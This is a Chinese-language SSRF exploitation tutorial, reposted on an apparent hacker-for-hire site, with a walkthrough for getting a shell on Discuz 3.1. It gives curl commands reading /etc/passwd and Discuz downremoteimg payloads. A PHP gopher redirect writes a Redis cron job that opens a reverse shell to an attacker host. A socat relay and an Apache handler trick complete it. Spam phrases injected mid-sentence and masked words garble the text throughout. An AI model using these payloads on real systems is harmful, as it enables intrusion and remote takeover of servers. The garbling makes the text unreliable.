2019年世界黑客大会-正版黑客软件下载-SSRF漏洞利用 Getshell实战

hacker 黑客接单 2020-11-12 189 2

原版黑客软件下载-SSRF系统漏洞利用 Getshell实战演练

作者：WHITE

文章内容来源于：Ms08067室验室

什么叫SSRF？

SSRF（Server-Side Request Forgery，服务器端请求仿冒）是一种由 *** 攻击结构请求，利用服务器端发起的 *** 安全问题。一般状况下，SSRF进攻的总体目标是外网地址无法打开的內部系统软件（正由于请求是由服务器端发起的，因此 *** 服务器能请求到与本身相接到外网防护的內部系统软件）。

Example：

GET /index.php?url=http://google.com/ HTTP/1.1

Host: example.com

在这儿，http:今年全球黑客大会//example.com从它的 *** 服务器获得http://google.com

文件目录

0X00 SSRF的种类

0X01 哪些地方最非常容易出現SSRF

0X02 SSRF系统漏洞的伤害

0X03 SSRF武器Curl的应用<2019年世界黑客大会/p>

0X04 最常见的自动跳转绕开

0X05 Python SSRF完成端口扫描器

0X06 利用Discuz的SSRF系统漏洞GetShell

0X07 简易的绕开SSRF照片的限定

0X08 很有可能碰到的难题

0X09 常见发掘SSRF系统漏洞的专用工具

0X00 SSRF的种类

1. 显示信息 *** 攻击的回应（Basic）

2. 无法显示回应（Blind）

0X01 哪些地方最非常容易出現SSRF

云主机商。(各种各样网址数据库操作)

有今年全球黑客大会远程控制照片载入的地区。(在线编辑器这类的有远程控制照片载入啊)

网址收集、网页页面爬取的地区。(许多网址会出现新闻报道收集键入url随后一键收集)

头像图片的地区。(某易就爱远程控制载入头像图片，比如:https://www.xxxx.com/image?url=http://www.image.com/1.jpg)

最后一个一切想要你输入网址的地区和能够键入ip的都放，全是ssrf的天地。

0X02 SSRF系统漏洞的伤害

对 *** 服务器所属的内部网开展端口扫描器，获得一些服务项目的banner信息内容等

进攻运作以内网或是当地的应用软件

对里网WEB应今年全球黑客大会用开展指纹验证，根据浏览默认设置文档完成（Readme等文档）

进攻內外网的WEB运用，主要是GET就可以完成的进攻（例如Struts2，SQL引入等）

下载内网资源（利用file协议书载入本地文件等）

利用Redis未受权浏览，HTTP CRLF引入做到getshell

wooyun高峰会猪猪侠的ppt

开展起点、跳板

忽视cdn

0X03 SSRF武器Curl的应用

查询curl适用的协议书目录 #curl--config –protocols

应用curl载入文今年全球黑客大会件

curl -v file:///etc/passwd

应用ftp协议书

curl -v "ftp://127.0.0.1:6666/info"

应用dict协议书

curl -v "dict://127.0.0.1:6666/info"

应用gopher协议书

curl -v "gopher://127.0.0.1:6666/_info"

0X04最常见的自动跳转绕开

0X05 Python SSRF完成端口扫描器

简易的端口扫描器

另外观查Wireshark全部扫描仪步骤

编码完成：

认证当地是不是打开了相对的端口号

Python编码撰写的构思：

端口号存有联接会一直在联接，连接时间会较长。

端口号不会有的联接会被立刻更新

0X06 利用Discuz的SSRF系统漏洞GetShell

Discuz没有理由限定ssrf系统漏洞（<=3.1检测是有这一系统漏洞）

试验自然环境：

172.28.100.109 今年全球黑客大会为Discuz 3.1(Win10)，172.28.100.108为Redis *** 服务器（CentOS），hacker.xxxx.com为外网地址检测 *** 服务器关键储放ssrf用的php文件

Discuz3.1下载详细地址：

http://www.comsenz.com/downloads/install/discuzx#down_open

实例：

/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict&ip=172.28.100.108&port=6666&data=hello.jpg[/img]

具体应用payload：

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp&ip=172.28.100.108&port=6666&data=he2lo.jpg[/img]

今年全球黑客大会利用nc来检测SSRF系统漏洞

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://172.28.100.108:6666/?data=root.jpg[/img]

tcpdump抓包软件见到Discuz发过来的数据文件

nc也是有反映了

基础能够确定这儿是有SSRF系统漏洞

应用header 来相互配合ssrf系统漏洞利用，在我外网地址 *** 服务器放了今年全球黑客大会一个ssrf.php

<?php

header("Location: ftp://172.28.100.108:6666/info");

这儿我是根据传参的 *** ，便捷检测情况下改动主要参数，编码以下：

PAYLOAD：

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp&ip=172.28.100.108&port=6666&data=he2lo.jpg[/img]

一样nc也接纳来到数据信息，检测情况下发觉ftp协议书比http要快一些

KALI设备开启socat端口转发（-v主要参数能够将分享全过程的系统日志纪录复印出去）

socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

联接SSRF脚本 ***

#留意centos和ubuntu系统软件的任务计划一些不一样，centos默认设置在/var/spool/cron/root，ubuntu默认设置是在/etc/crontab

实行取得成功

#第四步能实行取得成功的前提条件务必目标目录有写管理权限

到redis *** 服务器的上查询/var/spool/cron文件目录下早已建立了root文档內容为*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1

将socat的輸出信息内容储存为1.txt，上传入外网地址 *** 服务器上

应用Python脚本 *** 变换为gopher适用的文件格式

留意最终要检查一下文件格式是不是详细：*/1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1

新创建gohper.php文件放进自己的云主机的网址网站根目录上，当Discuz浏览gohper.php文件情况下便会自动跳转302跳转应用今年全球黑客大会gohper协议书浏览內部redis *** 服务器

规范文件格式实例：

<?php

header("Location:gopher://172.28.100.108:6379/_*3 $3 set $1 1 $62 */1 * 今年全球黑客大会 * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1 *4 $6 config $3 set $3 dir $16 /var/spool/cron/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save\r 19年全球黑客大会0a*1 $4 quit ");

目标机器SSRF漏洞的利用

过程中使用Wireshark抓包观察过程

目标redis服务器上发现计划任务已经生效了，如果这里有乱码，请翻倒文章底部有解决方案

目标Redis的shell已经发给我的服务器了

0X07 简单的绕过SSRF图片的限制

2019年世界黑客大会

Apache配置/etc/apache2/sites-enabled/，新建一个apache的配置文件123.conf

AddHandler application/x-httpd-php .php

这样apache就会把jpg也当作php解析；如果我们遇到限制了jpg后缀的ssrf漏洞就可以利用该 *** ，同理如果限制了txt的话。我们在apache设置把txt当作php解析即可。

将文件名命名为1.php.jpg即可访问

也可以这样写AddHandler application/x-httpd-php 2019年世界黑客大会 .jpg

0X08 可能遇到的问题